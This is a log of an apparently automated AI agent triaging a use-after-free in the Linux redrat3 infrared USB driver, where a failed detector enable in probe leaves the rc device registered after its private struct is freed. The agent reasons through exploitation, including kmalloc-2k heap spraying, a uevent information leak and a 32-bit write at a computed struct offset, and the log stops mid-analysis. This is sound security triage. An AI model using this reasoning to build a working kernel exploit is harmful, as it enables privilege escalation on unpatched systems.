1077: /* setup packet is 'c0 b2 0000 0000 0001' */
1078: rr3->learn_control.bRequestType = 0xc0;
1079: rr3->learn_control.bRequest = RR3_MODSIG_CAPTURE;
1080: rr3->learn_control.wLength = cpu_to_le16(1);
1081:
1082: usb_fill_control_urb(rr3->learn_urb, udev, usb_rcvctrlpipe(udev, 0),
1083: (unsigned char *)&rr3->learn_control,
1084: &rr3->learn_buf, sizeof(rr3->learn_buf),
1085: redrat3_learn_complete, rr3);
1086:
1087: /* setup packet is 'c0 b9 0000 0000 0001' */
1088: rr3->flash_control.bRequestType = 0xc0;
1089: rr3->flash_control.bRequest = RR3_BLINK_LED;
1090: rr3->flash_control.wLength = cpu_to_le16(1);
1091:
1092: usb_fill_control_urb(rr3->flash_urb, udev, usb_rcvctrlpipe(udev, 0),
1093: (unsigned char *)&rr3->flash_control,
1094: &rr3->flash_in_buf, sizeof(rr3->flash_in_buf),
1095: redrat3_led_complete, rr3);
1096:
1097: /* led control */
1098: rr3->led.name = "redrat3:red:feedback";
1099: rr3->led.default_trigger = "rc-feedback";
1100: rr3->led.brightness_set = redrat3_brightness_set;
1101: retval = led_classdev_register(&intf->dev, &rr3->led);
1102: if (retval)
1103: goto redrat_free;
1104:
1105: rr3->rc = redrat3_init_rc_dev(rr3);
1106: if (!rr3->rc) {
1107: retval = -ENOMEM;
1108: goto led_free;
1109: }
1110:
1111: /* might be all we need to do? */
1112: retval = redrat3_enable_detector(rr3);
1113: if (retval < 0)
1114: goto led_free;
1115:
1116: /* we can register the device now, as it is ready */
1117: usb_set_intfdata(intf, rr3);
1118:
1119: return 0;
1120:
1121: led_free:
1122: led_classdev_unregister(&rr3->led);
1123: redrat_free:
1124: redrat3_delete(rr3, rr3->udev);
1125:
1126: no_endpoints:
1127: return retval;
1128: }
SourceFile:drivers/media/rc/redrat3.c]
|
| 8/2 |
2026/08/09 09:06 |
llm |
expert |
0m
Model:
Tokens:
input: 21954
output: 44
thoughts: 105
Thoughts: **Analyzing Memory Allocation and Initialization in the Code**
Okay, so I'm looking at this snippet and immediately zeroing in on this memory allocation line: `rr3 = kzalloc_obj(*rr3);`. That `kzalloc_obj` call... it's not a standard function, so my internal radar goes up. My guess is it's a macro expansion, probably boiling down to `kzalloc(sizeof(*rr3), GFP_KERNEL)`. I should double-check that; it's always good practice to verify these things. Macros can sometimes hide subtleties.
Alright, moving on, I see `redrat3_init_rc_dev` is being called. That's the next critical piece. The name suggests it's the initialization function for the `redrat3` remote control device. I need to understand what this function *actually* does. That's the key to understanding this module. I'm going to dig into its implementation next to get the complete picture.
|
| 9/2 |
2026/08/09 09:06 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/media/rc/redrat3.c Name:redrat3_init_rc_dev]
Results: map[SourceCode: 924: static struct rc_dev *redrat3_init_rc_dev(struct redrat3_dev *rr3)
925: {
926: struct device *dev = rr3->dev;
927: struct rc_dev *rc;
928: int ret;
929: u16 prod = le16_to_cpu(rr3->udev->descriptor.idProduct);
930:
931: rc = rc_allocate_device(RC_DRIVER_IR_RAW);
932: if (!rc)
933: return NULL;
934:
935: snprintf(rr3->name, sizeof(rr3->name),
936: "RedRat3%s Infrared Remote Transceiver",
937: prod == USB_RR3IIUSB_PRODUCT_ID ? "-II" : "");
938:
939: usb_make_path(rr3->udev, rr3->phys, sizeof(rr3->phys));
940:
941: rc->device_name = rr3->name;
942: rc->input_phys = rr3->phys;
943: usb_to_input_id(rr3->udev, &rc->input_id);
944: rc->dev.parent = dev;
945: rc->priv = rr3;
946: rc->allowed_protocols = RC_PROTO_BIT_ALL_IR_DECODER;
947: rc->min_timeout = MS_TO_US(RR3_RX_MIN_TIMEOUT);
948: rc->max_timeout = MS_TO_US(RR3_RX_MAX_TIMEOUT);
949: rc->timeout = redrat3_get_timeout(rr3);
950: rc->s_timeout = redrat3_set_timeout;
951: rc->tx_ir = redrat3_transmit_ir;
952: rc->s_tx_carrier = redrat3_set_tx_carrier;
953: rc->s_carrier_report = redrat3_wideband_receiver;
954: rc->driver_name = DRIVER_NAME;
955: rc->rx_resolution = 2;
956: rc->map_name = RC_MAP_HAUPPAUGE;
957:
958: ret = rc_register_device(rc);
959: if (ret < 0) {
960: dev_err(dev, "remote dev registration failed\n");
961: goto out;
962: }
963:
964: return rc;
965:
966: out:
967: rc_free_device(rc);
968: return NULL;
969: }
SourceFile:drivers/media/rc/redrat3.c]
|
| 10/2 |
2026/08/09 09:06 |
llm |
expert |
0m
Model:
Tokens:
input: 23116
output: 40
thoughts: 421
Thoughts: **Analyzing the Device Probe and Resource Management**
Okay, so I'm looking at this `redrat3_dev_probe` function and how it handles device registration and cleanup. The first thing I see is `rc_register_device(rc)` being called, which, if successful, returns `rc`. Then, `redrat3_dev_probe` moves on to enabling the detector with `redrat3_enable_detector(rr3)`.
My immediate concern is: what happens if `redrat3_enable_detector(rr3)` fails? The code jumps to `led_free`, which unregisters the LED, and then to `redrat_free`, which then calls `redrat3_delete(rr3, rr3->udev)`.
Hang on, does a failure in `redrat3_enable_detector` mean we have a resource leak? Does it unregister the Remote Control (RC) device? I need to verify that. Let's look at that `redrat3_dev_probe` function again:
```c
rr3->rc = redrat3_init_rc_dev(rr3);
if (!rr3->rc) {
retval = -ENOMEM;
goto led_free;
}
/* might be all we need to do? */
retval = redrat3_enable_detector(rr3);
if (retval < 0)
goto led_free;
/* we can register the device now, as it is ready */
usb_set_intfdata(intf, rr3);
return 0;
led_free:
led_classdev_unregister(&rr3->led);
redrat_free:
redrat3_delete(rr3, rr3->udev);
no_endpoints:
return retval;
```
Ah, right, if `redrat3_enable_detector` fails, the flow jumps to `led_free` and then to `redrat_free`. It calls `redrat3_delete(rr3, rr3->udev)`. However, there's no explicit call to `rc_unregister_device(rr3->rc)` in this path. That's a potential problem! I need to know if `redrat3_delete` implicitly handles the RC device unregistration. Let's dig into `redrat3_delete` to confirm.
|
| 11/2 |
2026/08/09 09:07 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/media/rc/redrat3.c Name:redrat3_delete]
Results: map[SourceCode: 452: static inline void redrat3_delete(struct redrat3_dev *rr3,
453: struct usb_device *udev)
454: {
455: usb_kill_urb(rr3->narrow_urb);
456: usb_kill_urb(rr3->wide_urb);
457: usb_kill_urb(rr3->flash_urb);
458: usb_kill_urb(rr3->learn_urb);
459: usb_free_urb(rr3->narrow_urb);
460: usb_free_urb(rr3->wide_urb);
461: usb_free_urb(rr3->flash_urb);
462: usb_free_urb(rr3->learn_urb);
463: usb_free_coherent(udev, le16_to_cpu(rr3->ep_narrow->wMaxPacketSize),
464: rr3->bulk_in_buf, rr3->dma_in);
465:
466: kfree(rr3);
467: }
SourceFile:drivers/media/rc/redrat3.c]
|
| 12/2 |
2026/08/09 09:07 |
llm |
expert |
0m
Model:
Tokens:
input: 24435
output: 41
thoughts: 131
Thoughts: **My Concerns about Redrat3 and Remote Control Devices**
Okay, so `redrat3_delete` is supposed to clean up `rr3`, which is good. But wait a second, it's freeing `rr3` without unregistering `rr3->rc`! That's a huge potential problem.
If `rc_register_device` creates the device in the sysfs, then even if `rr3` is freed, the remote control (`rc`) device is still registered. And, critically, its `rc->priv` is still pointing to that freed memory location of `rr3`. Thatβs a classic use-after-free vulnerability! We're essentially leaving a dangling pointer in sysfs!
And now I see another potential issue. What if `redrat3_enable_detector` fails? Does `rc_register_device` leave the `rc` device registered even if detector initialization falls flat? That would mean we leak a device and, even worse, would it leave it in a potentially inconsistent state? This leak could be problematic down the line.
I need to understand what `rc_dev_uevent` does in this situation. It could be involved in how these devices are registered, removed, or have their attributes updated. I need to figure out if it plays a part in mitigating or exacerbating these concerns.
|
| 13/2 |
2026/08/09 09:07 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/media/rc/rc-main.c Name:rc_dev_uevent]
Results: map[SourceCode:1618: static int rc_dev_uevent(const struct device *device, struct kobj_uevent_env *env)
1619: {
1620: struct rc_dev *dev = to_rc_dev(device);
1621: int ret = 0;
1622:
1623: mutex_lock(&dev->lock);
1624:
1625: if (!dev->registered)
1626: ret = -ENODEV;
1627: if (ret == 0 && dev->rc_map.name)
1628: ret = add_uevent_var(env, "NAME=%s", dev->rc_map.name);
1629: if (ret == 0 && dev->driver_name)
1630: ret = add_uevent_var(env, "DRV_NAME=%s", dev->driver_name);
1631: if (ret == 0 && dev->device_name)
1632: ret = add_uevent_var(env, "DEV_NAME=%s", dev->device_name);
1633:
1634: mutex_unlock(&dev->lock);
1635:
1636: return ret;
1637: }
SourceFile:drivers/media/rc/rc-main.c]
|
| 14/2 |
2026/08/09 09:07 |
llm |
expert |
0m
Model:
Tokens:
input: 25261
output: 42
thoughts: 366
Thoughts: **My Analysis of the RedRat3 Driver's Memory Management**
Okay, so I'm looking at this `redrat3_init_rc_dev` function and immediately a potential issue jumps out. They're setting `rc->device_name` to `rr3->name`. `rr3->name` is populated with a string like "RedRat3-II Infrared Remote Transceiver" using `snprintf`. And, from what I can see, `rr3` is a `struct redrat3_dev` and `rc` is `struct rc_dev`. The problem is, `rr3` seems to be *owned* by the `redrat3` driver and `rc` is a resource.
Now, if `rr3` is freed, `rc->device_name` is left pointing to that freed memory. A classic use-after-free scenario. This becomes relevant in the context of `udev`. When `udev` reads the uevent file of the rc device, `rc_dev_uevent` gets called. Inside that, `add_uevent_var` gets called with `dev->device_name`.
I should be more careful about this, what if `rc` is also freed? It isn't, `rc` is allocated by `rc_allocate_device`, which allocates a `struct rc_dev` and it isn't freed in `redrat3_delete`. So, `rc` is leaked. But, it's also registered, meaning it is accessible in userspace. That `udevd` daemon could try accessing it. The UAF is on `rr3`, not `rc`.
I'm also wondering if `redrat3_enable_detector` can fail, that could be another potential problem. I should probably dig into the error paths there.
|
| 15/2 |
2026/08/09 09:07 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/media/rc/redrat3.c Name:redrat3_enable_detector]
Results: map[SourceCode: 421: /* Enables the long range detector and starts async receive */
422: static int redrat3_enable_detector(struct redrat3_dev *rr3)
423: {
424: struct device *dev = rr3->dev;
425: int ret;
426:
427: ret = redrat3_send_cmd(RR3_RC_DET_ENABLE, rr3);
428: if (ret != 0)
429: dev_dbg(dev, "%s: unexpected ret of %d\n",
430: __func__, ret);
431:
432: ret = redrat3_send_cmd(RR3_RC_DET_STATUS, rr3);
433: if (ret != 1) {
434: dev_err(dev, "%s: detector status: %d, should be 1\n",
435: __func__, ret);
436: return -EIO;
437: }
438:
439: ret = usb_submit_urb(rr3->narrow_urb, GFP_KERNEL);
440: if (ret) {
441: dev_err(rr3->dev, "narrow band urb failed: %d", ret);
442: return ret;
443: }
444:
445: ret = usb_submit_urb(rr3->wide_urb, GFP_KERNEL);
446: if (ret)
447: dev_err(rr3->dev, "wide band urb failed: %d", ret);
448:
449: return ret;
450: }
SourceFile:drivers/media/rc/redrat3.c]
|
| 16/2 |
2026/08/09 09:07 |
llm |
expert |
0m
Model:
Tokens:
input: 26555
output: 42
thoughts: 470
Thoughts: **Analyzing Potential Use-After-Free Vulnerabilities in the RedRat3 Driver**
Okay, so I'm digging into this RedRat3 driver code, trying to nail down a potential UAF vulnerability. My initial thought is that the `redrat3_enable_detector` function might be the culprit. If it fails, either because `redrat3_send_cmd` returns something other than 1, or if `usb_submit_urb` fails, the code jumps to `led_free`. From there it unregisters the LED, and then calls `redrat3_delete(rr3, rr3->udev)`. The problem is, it looks like it leaves `rc` registered, and `rc->device_name` is pointing to `rr3->name`. That's a classic setup for a use-after-free, right?
But wait a minute, let's step back. What if `redrat3_dev_probe` fails *earlier*? If `redrat3_init_rc_dev` fails, it returns `NULL`, so `rr3->rc` is also `NULL`. It then goes to `led_free` and frees `rr3`. But in this case, `rc` isn't registered, so there's no UAF. That scenario seems safe.
Okay, back to the `redrat3_enable_detector` failure case. That's the one where `rc` *is* registered. So, is `rc_unregister_device(rr3->rc)` called *anywhere* on failure? I need to check the code again. Let me just look at `redrat3_dev_probe`.
```c
rr3->rc = redrat3_init_rc_dev(rr3);
if (!rr3->rc) {
retval = -ENOMEM;
goto led_free;
}
/* might be all we need to do? */
retval = redrat3_enable_detector(rr3);
if (retval < 0)
goto led_free;
/* we can register the device now, as it is ready */
usb_set_intfdata(intf, rr3);
return 0;
led_free:
led_classdev_unregister(&rr3->led);
redrat_free:
redrat3_delete(rr3, rr3->udev);
no_endpoints:
return retval;
```
Nope, `rc_unregister_device` is not called! It just goes straight to `led_free`. So, the `rc` device is left registered. Hmm, maybe `redrat3_dev_disconnect` would handle it? I need to look at `redrat3_dev_disconnect` to be sure. It's the only place I can think of that might clean up the registered device.
|
| 17/2 |
2026/08/09 09:08 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/media/rc/redrat3.c Name:redrat3_dev_disconnect]
Results: map[SourceCode:1130: static void redrat3_dev_disconnect(struct usb_interface *intf)
1131: {
1132: struct usb_device *udev = interface_to_usbdev(intf);
1133: struct redrat3_dev *rr3 = usb_get_intfdata(intf);
1134: struct rc_dev *rc = rr3->rc;
1135:
1136: usb_set_intfdata(intf, NULL);
1137: rc_unregister_device(rc);
1138: led_classdev_unregister(&rr3->led);
1139: redrat3_delete(rr3, udev);
1140: rc_free_device(rc);
1141: }
SourceFile:drivers/media/rc/redrat3.c]
|
| 18/2 |
2026/08/09 09:08 |
llm |
expert |
0m
Model:
Tokens:
input: 27936
output: 40
thoughts: 803
Thoughts: **Analyzing the `redrat3_dev` Driver Vulnerability**
Okay, let's break this down. First, the core issue: the `redrat3_dev_disconnect` function unregisters `rc` and frees `rr3`, but if `redrat3_enable_detector` fails in `redrat3_dev_probe`, only `rr3` gets freed, leaving a dangling reference to `rc`. This is a clear use-after-free vulnerability, triggered by a failed detector enabling in the probe function. The trigger is a malicious USB device.
Considering the trigger vectors, a few questions arise. Can it be triggered remotely? No, it's a USB driver, so it relies on physical device attachment. Can a VM guest trigger this? Yes, but *only* if the host passes through the malicious USB device to the guest, or if the guest can emulate such a device through its virtual USB controller. The question specifically asks about a typical KVM guest, and whether standard paravirtualized features (virtio-blk, virtio-net) or VM exits in KVM code are relevant, the answer is still no, because this bug is in the host kernel, triggered by a USB device. The host can emulate a malicious USB device to trigger the bug in a guest kernel if the guest kernel has this vulnerability. The "VM Host Trigger" is True here.
Unprivileged process access is another question. Can an unprivileged user exploit this? No, plugging in a USB device requires physical access, and emulating it through `vhci` or `raw-gadget` requires root or capabilities. So, peripheral trigger is definitely True.
Now, let's explore exploitability. The bug is a use-after-free of `rr3`, a `struct redrat3_dev`. `rr3` is allocated with `kzalloc` of size 2048 bytes (confirmed by the KASAN report). When `rr3` is freed, it goes into the `kmalloc-2k` slab. The subsequent read from `udevd` of the `rc` device's uevent file triggers the use-after-free, calling `rc_dev_uevent`. This function reads `dev->device_name`, which points to `rr3->name`. And it appears that `rr3->name` is a string inside the `rr3` struct.
Here's the interesting part: if an attacker can spray the `kmalloc-2k` cache *after* `rr3` is freed, they can overwrite `rr3->name` with an arbitrary string. This means the attacker can control the output of the `uevent` file. Then I realize, this is not a code execution bug, it's an information leak. If the attacker overwrites `rr3->name` with a string that doesn't have a null terminator, then the `vsnprintf` will read past the end of the sprayed object, leaking the contents of adjacent objects in the slab. But, let me double-check the definition of `struct redrat3_dev`.
|
| 19/2 |
2026/08/09 09:08 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/media/rc/redrat3.c Name:redrat3_dev]
Results: map[SourceCode: 187: /* Structure to hold all of our device specific stuff */
188: struct redrat3_dev {
189: /* core device bits */
190: struct rc_dev *rc;
191: struct device *dev;
192:
193: /* led control */
194: struct led_classdev led;
195: atomic_t flash;
196: struct usb_ctrlrequest flash_control;
197: struct urb *flash_urb;
198: u8 flash_in_buf;
199:
200: /* learning */
201: bool wideband;
202: struct usb_ctrlrequest learn_control;
203: struct urb *learn_urb;
204: u8 learn_buf;
205:
206: /* save off the usb device pointer */
207: struct usb_device *udev;
208:
209: /* the receive endpoint */
210: struct usb_endpoint_descriptor *ep_narrow;
211: /* the buffer to receive data */
212: void *bulk_in_buf;
213: /* urb used to read ir data */
214: struct urb *narrow_urb;
215: struct urb *wide_urb;
216:
217: /* the send endpoint */
218: struct usb_endpoint_descriptor *ep_out;
219:
220: /* usb dma */
221: dma_addr_t dma_in;
222:
223: /* Is the device currently transmitting?*/
224: bool transmitting;
225:
226: /* store for current packet */
227: struct redrat3_irdata irdata;
228: u16 bytes_read;
229:
230: u32 carrier;
231:
232: char name[64];
233: char phys[64];
234: };
SourceFile:drivers/media/rc/redrat3.c]
|
| 20/2 |
2026/08/09 09:08 |
llm |
expert |
0m
Model:
Tokens:
input: 30060
output: 55
thoughts: 395
Thoughts: **Information Leak via RC Device Uevent**
Okay, so I've got this `name` field, a 64-byte array, tucked away at the end of the `struct redrat3_dev`, let's call it `rr3`. The `rc->device_name` pointer is key; it's pointing right at `rr3->name`. The problem is, if I can free the `rr3` object and then spray the `kmalloc-2k` cache, I can overwrite what's in `rr3->name`.
Now, when `udevd` (or, more likely, an attacker) comes along and reads the `uevent` file, the `rc_dev_uevent` function is going to output `DEV_NAME=<contents of rr3->name>`. Initially, I thought it was just a 64-byte leak, but if there's no null terminator, I could leak even more β up to the next null or page boundary.
Wait a second! `add_uevent_var` uses `vsnprintf`, but it's *bounded* by the uevent buffer size. That means I could actually leak up to 2048 bytes of kernel memory! That's a huge information leak. It's a gold mine for an attacker!
I'm starting to think about whether this information leak could lead to memory corruption, but it is unlikely. I need to make sure I am understanding what is happening in the heap. Crucially, the *pointer* `rc->device_name` itself isn't being overwritten. That's good, since `rc` is a separate object (`struct rc_dev`) and isn't freed. My logic is correct, reading from the `uevent` file will read from the now overwritten `rr3->name`.
Is there any other code using `rr3` after it's freed? I need to check if `rc` makes use of `rc->priv`, since that's pointing to `rr3`. If I can get an attacker to open the `rc` device, like `/dev/lirc0` or `/dev/input/eventX`, that might allow them to call functions that use `rc->priv`! I need to investigate the functions registered in `rc` to confirm if there are any that could be exploitable, or if that could lead to other issues.
|
| 21/2 |
2026/08/09 09:08 |
tool |
codesearch-find-references |
0m
Args: map[ContextFile:drivers/media/rc/redrat3.c IncludeSnippetLines:0 Name:redrat3_set_timeout SourceTreePrefix:]
Results: map[References:[map[ReferenceKind:takes-address-of ReferencingEntityKind:function ReferencingEntityName:redrat3_init_rc_dev SourceFile:drivers/media/rc/redrat3.c SourceLine:950]] TruncatedOutput:false]
|
| 22/2 |
2026/08/09 09:08 |
llm |
expert |
0m
Model:
Tokens:
input: 31106
output: 44
thoughts: 18
Thoughts: Here's my attempt at summarizing the thought process, tailored for an expert audience:
**Revisiting `redrat3_init_rc_dev`**
Okay, time to re-examine `redrat3_init_rc_dev`. I want to drill back into this routine. My initial assessment suggested some areas for optimization, but I need a fresh perspective. I'm going to carefully step through its execution flow, focusing particularly on the resource allocation and device registration sequences. I need to ensure there are no subtle race conditions or memory leaks that I might have overlooked. Given the criticality of this device initialization, I also need to verify that all error paths are robustly handled, with proper logging and cleanup, ensuring it fails gracefully without cascading failures. Are there any assumptions being made about the underlying hardware configuration that could be problematic? Let's confirm those assumptions. Furthermore, I need to consider any potential interactions with other modules during initialization β cross-module dependencies can be a nightmare if not carefully managed. Let's pull up the related header files and cross-reference the calls. It's time to dig in and reconfirm my understanding.
|
| 23/2 |
2026/08/09 09:08 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/media/rc/redrat3.c Name:redrat3_init_rc_dev]
Results: map[SourceCode: 924: static struct rc_dev *redrat3_init_rc_dev(struct redrat3_dev *rr3)
925: {
926: struct device *dev = rr3->dev;
927: struct rc_dev *rc;
928: int ret;
929: u16 prod = le16_to_cpu(rr3->udev->descriptor.idProduct);
930:
931: rc = rc_allocate_device(RC_DRIVER_IR_RAW);
932: if (!rc)
933: return NULL;
934:
935: snprintf(rr3->name, sizeof(rr3->name),
936: "RedRat3%s Infrared Remote Transceiver",
937: prod == USB_RR3IIUSB_PRODUCT_ID ? "-II" : "");
938:
939: usb_make_path(rr3->udev, rr3->phys, sizeof(rr3->phys));
940:
941: rc->device_name = rr3->name;
942: rc->input_phys = rr3->phys;
943: usb_to_input_id(rr3->udev, &rc->input_id);
944: rc->dev.parent = dev;
945: rc->priv = rr3;
946: rc->allowed_protocols = RC_PROTO_BIT_ALL_IR_DECODER;
947: rc->min_timeout = MS_TO_US(RR3_RX_MIN_TIMEOUT);
948: rc->max_timeout = MS_TO_US(RR3_RX_MAX_TIMEOUT);
949: rc->timeout = redrat3_get_timeout(rr3);
950: rc->s_timeout = redrat3_set_timeout;
951: rc->tx_ir = redrat3_transmit_ir;
952: rc->s_tx_carrier = redrat3_set_tx_carrier;
953: rc->s_carrier_report = redrat3_wideband_receiver;
954: rc->driver_name = DRIVER_NAME;
955: rc->rx_resolution = 2;
956: rc->map_name = RC_MAP_HAUPPAUGE;
957:
958: ret = rc_register_device(rc);
959: if (ret < 0) {
960: dev_err(dev, "remote dev registration failed\n");
961: goto out;
962: }
963:
964: return rc;
965:
966: out:
967: rc_free_device(rc);
968: return NULL;
969: }
SourceFile:drivers/media/rc/redrat3.c]
|
| 24/2 |
2026/08/09 09:08 |
llm |
expert |
0m
Model:
Tokens:
input: 32207
output: 44
thoughts: 96
Thoughts: **Analyzing a Potential Vulnerability in the `redrat3` Driver**
Okay, so I'm looking at this `rc` device, and I see how it handles infrared transmission. Specifically, the structure contains function pointers, like `rc->tx_ir` which is assigned to `redrat3_transmit_ir`. Hmm, interesting. The potential issue seems to arise when an attacker gains access to the `lirc` device and can trigger the `LIRC_SET_SEND_CARRIER` ioctl. This call, in turn, will end up executing `rc->s_tx_carrier`, which is set to the `redrat3_set_tx_carrier` function. The key here is to understand what that particular function, `redrat3_set_tx_carrier`, actually *does*. That's where I need to focus my attention. It could be an interesting point of exploitation if poorly implemented. Let's dig into the code for that function and see if there are any obvious vulnerabilities.
|
| 25/2 |
2026/08/09 09:08 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/media/rc/redrat3.c Name:redrat3_set_tx_carrier]
Results: map[SourceCode: 734: static int redrat3_set_tx_carrier(struct rc_dev *rcdev, u32 carrier)
735: {
736: struct redrat3_dev *rr3 = rcdev->priv;
737: struct device *dev = rr3->dev;
738:
739: dev_dbg(dev, "Setting modulation frequency to %u", carrier);
740: if (carrier == 0)
741: return -EINVAL;
742:
743: rr3->carrier = carrier;
744:
745: return 0;
746: }
SourceFile:drivers/media/rc/redrat3.c]
|
| 26/2 |
2026/08/09 09:08 |
llm |
expert |
0m
Model:
Tokens:
input: 32777
output: 45
thoughts: 123
Thoughts: **Use-After-Free Vulnerability in RedRat3 Driver**
Okay, so I'm looking at this code and it's writing to `rr3->carrier`. Wait a minute... `rr3` has already been freed! This is a classic use-after-free write. The attacker could exploit this quite easily. The strategy would be to spray the `kmalloc-2k` cache with a target object, and then call `LIRC_SET_SEND_CARRIER`. This should allow them to overwrite a 32-bit value at the offset of `rr3->carrier` with something arbitrary! Hang on, isn't `rr3->carrier` a `u32`? That means we can control a 32-bit value. Okay, that's crucial. I need to double-check the offset of `carrier` within the `struct redrat3_dev` structure. Let's see if that value allows for a useful overwrite, and what we might be able to achieve with it.
|
| 27/2 |
2026/08/09 09:08 |
tool |
codesearch-struct-layout |
0m
Args: map[ContextFile:drivers/media/rc/redrat3.c FieldOffset:<nil> Name:redrat3_dev]
Results: map[Fields:[map[Name:rc OffsetBits:0 SizeBits:64] map[Name:dev OffsetBits:64 SizeBits:64] map[Name:led OffsetBits:128 SizeBits:5632] map[Name:flash OffsetBits:5760 SizeBits:32] map[Name:flash_control OffsetBits:5792 SizeBits:64] map[Name:flash_urb OffsetBits:5888 SizeBits:64] map[Name:flash_in_buf OffsetBits:5952 SizeBits:8] map[Name:wideband OffsetBits:5960 SizeBits:8] map[Name:learn_control OffsetBits:5968 SizeBits:64] map[Name:learn_urb OffsetBits:6080 SizeBits:64] map[Name:learn_buf OffsetBits:6144 SizeBits:8] map[Name:udev OffsetBits:6208 SizeBits:64] map[Name:ep_narrow OffsetBits:6272 SizeBits:64] map[Name:bulk_in_buf OffsetBits:6336 SizeBits:64] map[Name:narrow_urb OffsetBits:6400 SizeBits:64] map[Name:wide_urb OffsetBits:6464 SizeBits:64] map[Name:ep_out OffsetBits:6528 SizeBits:64] map[Name:dma_in OffsetBits:6592 SizeBits:64] map[Name:transmitting OffsetBits:6656 SizeBits:8] map[Name:irdata OffsetBits:6664 SizeBits:8328] map[Name:bytes_read OffsetBits:14992 SizeBits:16] map[Name:carrier OffsetBits:15008 SizeBits:32] map[Name:name OffsetBits:15040 SizeBits:512] map[Name:phys OffsetBits:15552 SizeBits:512]]]
|
| 28/2 |
2026/08/09 09:08 |
llm |
expert |
0m
Model:
Tokens:
input: 33686
output: 42
thoughts: 111
Thoughts: **Analyzing a Kernel Vulnerability**
Okay, so I'm looking at this memory layout, and the offset of `carrier` is 15008 bits, which, when I do the math, translates to 1876 bytes. That's immediately interesting. If an attacker can control that, they can overwrite a 32-bit value at offset 1876 within a 2048-byte object. That's a pretty potent primitive, especially within the kernel.
Given that these objects are likely allocated with `kmalloc-2k`, they could potentially overwrite a pointer or a length field in another, adjacent object allocated from the same kmalloc slab. The implications are significant, as they could gain control over data structures and influence kernel behavior.
Let's dig a little deeper, and see what `redrat3_transmit_ir` does, as it is called on `LIRC_TX`. I need to understand its functionality within this context to assess the potential impact of such a vulnerability.
|
| 29/2 |
2026/08/09 09:09 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/media/rc/redrat3.c Name:redrat3_transmit_ir]
Results: map[SourceCode: 748: static int redrat3_transmit_ir(struct rc_dev *rcdev, unsigned *txbuf,
749: unsigned count)
750: {
751: struct redrat3_dev *rr3 = rcdev->priv;
752: struct device *dev = rr3->dev;
753: struct redrat3_irdata *irdata = NULL;
754: int ret, ret_len;
755: int lencheck, cur_sample_len, pipe;
756: int *sample_lens = NULL;
757: u8 curlencheck = 0;
758: unsigned i, sendbuf_len;
759:
760: if (rr3->transmitting) {
761: dev_warn(dev, "%s: transmitter already in use\n", __func__);
762: return -EAGAIN;
763: }
764:
765: if (count > RR3_MAX_SIG_SIZE - RR3_TX_TRAILER_LEN)
766: return -EINVAL;
767:
768: /* rr3 will disable rc detector on transmit */
769: rr3->transmitting = true;
770:
771: sample_lens = kzalloc_objs(*sample_lens, RR3_DRIVER_MAXLENS);
772: if (!sample_lens)
773: return -ENOMEM;
774:
775: irdata = kzalloc_obj(*irdata);
776: if (!irdata) {
777: ret = -ENOMEM;
778: goto out;
779: }
780:
781: for (i = 0; i < count; i++) {
782: cur_sample_len = redrat3_us_to_len(txbuf[i]);
783: if (cur_sample_len > 0xffff) {
784: dev_warn(dev, "transmit period of %uus truncated to %uus\n",
785: txbuf[i], redrat3_len_to_us(0xffff));
786: cur_sample_len = 0xffff;
787: }
788: for (lencheck = 0; lencheck < curlencheck; lencheck++) {
789: if (sample_lens[lencheck] == cur_sample_len)
790: break;
791: }
792: if (lencheck == curlencheck) {
793: dev_dbg(dev, "txbuf[%d]=%u, pos %d, enc %u\n",
794: i, txbuf[i], curlencheck, cur_sample_len);
795: if (curlencheck < RR3_DRIVER_MAXLENS) {
796: /* now convert the value to a proper
797: * rr3 value.. */
798: sample_lens[curlencheck] = cur_sample_len;
799: put_unaligned_be16(cur_sample_len,
800: &irdata->lens[curlencheck]);
801: curlencheck++;
802: } else {
803: ret = -EINVAL;
804: goto out;
805: }
806: }
807: irdata->sigdata[i] = lencheck;
808: }
809:
810: irdata->sigdata[count] = RR3_END_OF_SIGNAL;
811: irdata->sigdata[count + 1] = RR3_END_OF_SIGNAL;
812:
813: sendbuf_len = offsetof(struct redrat3_irdata,
814: sigdata[count + RR3_TX_TRAILER_LEN]);
815: /* fill in our packet header */
816: irdata->header.length = cpu_to_be16(sendbuf_len -
817: sizeof(struct redrat3_header));
818: irdata->header.transfer_type = cpu_to_be16(RR3_MOD_SIGNAL_OUT);
819: irdata->pause = cpu_to_be32(redrat3_len_to_us(100));
820: irdata->mod_freq_count = cpu_to_be16(mod_freq_to_val(rr3->carrier));
821: irdata->no_lengths = curlencheck;
822: irdata->sig_size = cpu_to_be16(count + RR3_TX_TRAILER_LEN);
823:
824: pipe = usb_sndbulkpipe(rr3->udev, rr3->ep_out->bEndpointAddress);
825: ret = usb_bulk_msg(rr3->udev, pipe, irdata,
826: sendbuf_len, &ret_len, 10000);
827: dev_dbg(dev, "sent %d bytes, (ret %d)\n", ret_len, ret);
828:
829: /* now tell the hardware to transmit what we sent it */
830: pipe = usb_rcvctrlpipe(rr3->udev, 0);
831: ret = usb_control_msg(rr3->udev, pipe, RR3_TX_SEND_SIGNAL,
832: USB_TYPE_VENDOR | USB_RECIP_DEVICE | USB_DIR_IN,
833: 0, 0, irdata, 2, 10000);
834:
835: if (ret < 0)
836: dev_err(dev, "Error: control msg send failed, rc %d\n", ret);
837: else
838: ret = count;
839:
840: out:
841: kfree(irdata);
842: kfree(sample_lens);
843:
844: rr3->transmitting = false;
845: /* rr3 re-enables rc detector because it was enabled before */
846:
847: return ret;
848: }
SourceFile:drivers/media/rc/redrat3.c]
|
| 30/2 |
2026/08/09 09:09 |
llm |
expert |
0m
Model:
Tokens:
input: 35824
output: 66
thoughts: 1529
Thoughts: **Analyzing the Redrat3 UAF Vulnerability**
Okay, let's break this down. My initial assessment is that this is a classic use-after-free (UAF) issue. Specifically, the function accesses `rr3->transmitting`, `rr3->carrier`, `rr3->udev`, and `rr3->ep_out` *after* the `rr3` object has been freed. The critical point is that the attacker gains control over `rr3->udev` and `rr3->ep_out` *because* they're read from the freed memory.
